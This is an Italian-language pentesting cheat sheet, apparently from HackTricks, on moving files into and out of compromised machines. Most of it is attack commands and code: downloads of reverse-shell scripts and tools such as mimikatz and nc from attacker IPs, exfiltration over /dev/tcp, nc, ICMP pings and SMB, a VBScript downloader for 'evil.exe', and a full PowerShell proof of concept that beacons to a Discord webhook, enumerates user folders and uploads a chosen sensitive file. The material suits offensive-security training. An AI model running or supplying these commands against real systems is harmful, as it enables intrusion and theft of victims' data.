Exfiltration

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Copy&Paste Base64

Linux

base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP

Linux

wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Caricamento file

# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world

Server HTTPS

# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###

Webhooks (Discord/Slack/Teams) per C2 & Data Exfiltration

Webhooks sono endpoint HTTPS in sola scrittura che accettano JSON e parti file opzionali. Vengono comunemente autorizzati su domini SaaS attendibili e non richiedono OAuth/API keys, rendendoli utili per beaconing e exfiltration a basso attrito.

Punti chiave:

  • Endpoint: Discord usa https://discord.com/api/webhooks//
  • POST multipart/form-data con una parte chiamata payload_json contenente {“content”:“…”} e parti file opzionali chiamate file.
  • Pattern di loop dell’operatore: beacon periodico -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK confermano la consegna.

PowerShell PoC (Discord):

# 1) Configure webhook and optional target file
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
$target  = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"

# 2) Reuse a single HttpClient
$client = [System.Net.Http.HttpClient]::new()

function Send-DiscordText {
param([string]$Text)
$payload = @{ content = $Text } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] text -> $($resp.StatusCode)"
}

function Send-DiscordFile {
param([string]$Path, [string]$Name)
if (-not (Test-Path $Path)) { return }
$bytes = [System.IO.File]::ReadAllBytes($Path)
$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$mp.Add($fileContent, "file", $Name)
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
}

# 3) Beacon/recon/exfil loop
$ctr = 0
while ($true) {
$ctr++
# Beacon
$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
Send-DiscordText -Text $beacon

# Every 2nd: quick folder listing
if ($ctr % 2 -eq 0) {
$dirs = @("Documents","Desktop","Downloads","Pictures")
$acc = foreach ($d in $dirs) {
$p = Join-Path $env:USERPROFILE $d
$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
}
Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
}

# Every 3rd: targeted exfil
if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }

# Every 4th: basic recon
if ($ctr % 4 -eq 0) {
$who = whoami
$ip  = ipconfig | Out-String
$tmp = Join-Path $env:TEMP "recon.txt"
"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
Send-DiscordFile -Path $tmp -Name "recon.txt"
}

Start-Sleep -Seconds 20
}

Note:

  • Schemi simili si applicano ad altre piattaforme di collaborazione (Slack/Teams) che usano i rispettivi incoming webhooks; adatta l’URL e lo schema JSON di conseguenza.
  • Per DFIR degli artefatti della cache di Discord Desktop e per il recupero di webhook/API, vedi:

Discord Cache Forensics

FTP

FTP server (python)

pip3 install pyftpdlib
python3 -m pyftpdlib -p 21

Server FTP (NodeJS)

sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

Server FTP (pure-ftp)

apt-get update && apt-get install pure-ftp

#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Windows client

#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

SMB

Kali come server

kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`

Oppure crea una condivisione smb usando samba:

apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart

Windows

CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:

SCP

L’attaccante deve avere SSHd in esecuzione.

scp <username>@<Attacker_IP>:<directory>/<filename>

SSHFS

Se la victim ha SSH, the attacker può montare una directory della victim sul proprio sistema.

sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

NC

nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file

/dev/tcp

Scaricare file dalla vittima

nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim

Caricare un file sulla vittima

nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

grazie a @BinaryShadow_

ICMP

# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)

from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

SMTP

Se puoi inviare dati a un server SMTP, puoi creare un server SMTP per ricevere i dati con python:

sudo python -m smtpd -n -c DebuggingServer :25

TFTP

Di default in XP e 2003 (in altri deve essere aggiunto esplicitamente durante l’installazione)

In Kali, avvia il server TFTP:

#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp

Server TFTP in python:

pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>

In vittima, connettiti al server Kali:

tftp -i <KALI-IP> get nc.exe

PHP

Scarica un file con un oneliner PHP:

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

VBScript

Attacker> python -m SimpleHTTPServer 80

Vittima

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

Debug.exe

Il programma debug.exe non solo permette l’ispezione dei binaries ma ha anche la capacità di ricostruirli da hex. Ciò significa che, fornendo un hex di un binary, debug.exe può generare il file binary. Tuttavia, è importante notare che debug.exe ha una limitazione nell’assemblare file fino a 64 kb di dimensione.

# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt

Quindi copia e incolla il testo nella windows-shell e verrĂ  creato un file chiamato nc.exe.

DNS

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

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